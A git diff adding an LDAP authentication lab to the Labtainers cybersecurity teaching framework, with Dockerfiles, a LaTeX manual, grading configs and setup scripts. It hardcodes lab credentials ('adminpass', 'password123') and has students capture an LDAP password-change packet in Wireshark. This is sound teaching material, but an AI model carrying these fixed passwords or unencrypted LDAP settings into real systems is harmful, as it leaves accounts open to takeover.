+RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student new file mode 100644 index 000000000..05ddbd6a5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student @@ -0,0 +1,82 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +ENV DEBIAN_FRONTEND noninteractive +RUN echo -e 'ldap-auth-config ldap-auth-config/bindpw password password' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/rootbindpw password password' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/rootbinddn string cn=admin,dc=example,dc=com' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/override boolean true' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/dblogin boolean false' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/dbrootlogin boolean true' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/ldapns/ldap-server string ldap://172.25.0.2' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/ldapns/base-dn string dc=example,dc=com' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/ldapns/ldap_version string 3' | debconf-set-selections +RUN apt-get update && apt-get install -y libnss-ldap libpam-ldap ldap-utils nscd +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile new file mode 100644 index 000000000..e42019335 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile @@ -0,0 +1,8 @@ +ldap.pdf: ldap.tex header.tex + latex ldap + pdflatex -jobname=ldap ldap + pdflatex -jobname=ldap ldap + +clean: + rm -fr auto + rm -f ldap.aux ldap.log ldap.pdf ldap.dvi ldap.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.jpg new file mode 100644 index 000000000..44f3f351e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.odg new file mode 100755 index 000000000..a53a4e07d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex new file mode 100644 index 000000000..db6c2710d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex @@ -0,0 +1,136 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE LDAP} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This lab illustrates the use of LDAP to authenticate users of Linux systems, +such that multiple computers share a single repository of user and group information, including +the passwords that authenticate users. This strategy allows users and administrators +to manage a single set of credentials that can then be used to access multiple computers. + +\subsection {Background} +The student is expect to have separately learned about the basic elements of Linux +users, groups and authentication, e.g., the /etc/passwd and /etc/shadow files. +The student is also expected to have a basic knowledge of the use of Lightweight Directory +Access Protocol (LDAP). + +The student is expected to have some familiarity with the Linux command line, +the basics of the file system, and the ability to locate and edit a file. And some +experience with the Wireshark tool is expected (e.g., the wireshark-intro lab). + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer ldap +\end{verbatim} +\noindent A link to this lab manual will be displayed. + + +\section{Network Configuration} +This lab includes a client computer, two servers and +an ldap server shown in Figure~\ref{fig:topology}. +When the lab starts, you will get one virtual terminal connected +to the client, and one connected to the ldap server. + +The host names of each component are per the diagram. The /etc/hosts files +allow use of these host names instead of explicit ip addresses. + +The two Linux servers have been configured to use the ldap server to +authenticate users. The ldap server has been initially configured +with a single user whose ID is "mike". + +The ldap server is configured for the ``example.com'' domain, with +an ldap administrator of ``admin'' whose password is ``adminpass'' + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{ldap.jpg} +\end{center} +\caption{Network topology for the LDAP lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +On the ldap server, display the ldap directory content using: +\begin{verbatim} + ldapsearch -x | less +\end{verbatim} +\noindent and observe the entries in the directory. Note entry for ``mike'' and +``projx''. + +Start wireshark on the ldap component so that you can observe the protocol traffic. +\begin{verbatim} + wireshark & +\end{verbatim} +\noindent Select the {\tt eth0} device. +From the ``client'' computer, ssh to server1 as user ``mike'': +\begin{verbatim} + ssh mike@server1 +\end{verbatim} +The initial password for ``mike'' is ``password123''. The system will require that +your change this password and then you will need to ssh again into server1. Change +the password to whatever you like, but remember it. Use {\tt ssh} again to login to server1 +as mike, providing your new password. Use the {\tt id} command to view your user ID +and group. Then, view the /etc/passwd file. Do you see entries +for your user or group? + +\subsection{View protocol traffic} +Go to the wireshark window, and stop capturing packets (e.g., the red stop button). +Enter a display filter of ``ldap'', i.e., near the top where it says "Apply a display filter...". +Review the LDAP traffic. Which components are exchanging packets? Locate the packet that changed +mike's password and use {\tt File / Export Specified Packets} to save that packet in a file named +{\tt password.pcapng} + +\subsection{Use the mike credentials to access another server} +Exit your ssh session from server1. Then ssh to server2: +\begin{verbatim} + ssh mike@server2 +\end{verbatim} +\noindent What password do you expect to use to authenticate to server2? +After logging into server2, exit that ssh session. + +\subsection{Add an LDAP user} +Go to the ldap virtual terminal and use {\tt ls} to see a directory listing. +View the file named {\tt mike.ldif}, it was used to define the user named ``mike''. +Then view the projx.ldif file. +The LDAP command that was used to add the entry defined in mike.ldif is: +\begin{verbatim} +ldapadd -x -W -D "cn=admin,dc=example,dc=com" -f mike.ldif +\end{verbatim} +\noindent Note how the {\tt -D} option names the administrator on whose behalf the +LDAP addition is to be made. Use {\tt man ldapadd} to learn more about the syntax of +that command. +The initial password for the mike user was created with this command: +\begin{verbatim} +ldappasswd -s password123 -W -D "cn=admin,dc=example,dc=com" -x "uid=mike,ou=users,dc=example,dc=com" +\end{verbatim} + +Create ldif files to define a new group named ``qa'' and a new user having an ID of ``mary''. +Assign mary to the qa group. Take care to adjust the uidNumber and gidNumber values. +Use the ldapadd command to add the new group and the new user. Use the ldappasswd command to +assign an initial password to mary. Again, the password for the LDAP administrator is ``adminpass''. + +Then go to the client computer and test your ability to ssh as mary to both server1 and server2. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/read_first.txt new file mode 100644 index 000000000..866bfeaeb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/ldap.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config new file mode 100644 index 000000000..ccc8f7b51 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config @@ -0,0 +1,7 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +_pcap_small = matchany : integer_lessthan : pcap_strings : answer=10 +#DOC: strings extracted from pcap < 10 lines and userPassword in strings +correct_pcap = boolean : (_pcap_small and _pcap_pass) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/pregrade.sh new file mode 100755 index 000000000..ac719296b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/pregrade.sh @@ -0,0 +1,30 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +if [[ $destdir == *ldap.ldap.student ]]; then + cd $homedir/$destdir + # + # extract strings from pcap. will use number of lines and content + # to determine if user selected the proper packet + # + strings password.pcapng >> strings.txt +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/results.config new file mode 100644 index 000000000..2abcc9692 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +#GROUP: user initiated session on the server +mike_server1 = server1:/var/log/auth.log : CONTAINS : session opened for user mike +mike_server2 = server2:/var/log/auth.log : CONTAINS : session opened for user mike +mary_server1 = server1:/var/log/auth.log : CONTAINS : session opened for user mary +mary_server2 = server2:/var/log/auth.log : CONTAINS : session opened for user mary +pcap_strings = ldap:~/strings.txt : LINE_COUNT +_pcap_pass = ldap:~/strings.txt : CONTAINS : userPassword diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh new file mode 100755 index 000000000..75aca25a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Reconfigure the openldap package using dpkg-reconfigure and +# debconf-set-selections. +# Then, configure the ldap server for example.com with an initial group and +# an initial user +# +echo "BASE dc=example,dc=com" | sudo tee -a /etc/ldap/ldap.conf +echo "URI ldap://localhost" | sudo tee -a /etc/ldap/ldap.conf +sudo /var/tmp/configure.sh +sudo systemctl restart slapd +sudo /var/tmp/addusers.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/sbin/faux_init new file mode 100755 index 000000000..7ce7d3c88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/addusers.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/addusers.sh new file mode 100755 index 000000000..1e9e62860 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/addusers.sh @@ -0,0 +1,4 @@ +ldapadd -x -w adminpass -D "cn=admin,dc=example,dc=com" -f /var/tmp/base.ldif +ldapadd -x -w adminpass -D "cn=admin,dc=example,dc=com" -f $HOME/projx.ldif +ldapadd -x -w adminpass -D "cn=admin,dc=example,dc=com" -f $HOME/mike.ldif +ldappasswd -s password123 -w adminpass -D "cn=admin,dc=example,dc=com" -x "uid=mike,ou=users,dc=example,dc=com" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/base.ldif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/base.ldif new file mode 100644 index 000000000..3ff71fff6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/base.ldif @@ -0,0 +1,7 @@ +dn: ou=users,dc=example,dc=com +objectClass: organizationalUnit +ou: users + +dn: ou=groups,dc=example,dc=com +objectClass: organizationalUnit +ou: groups diff --git 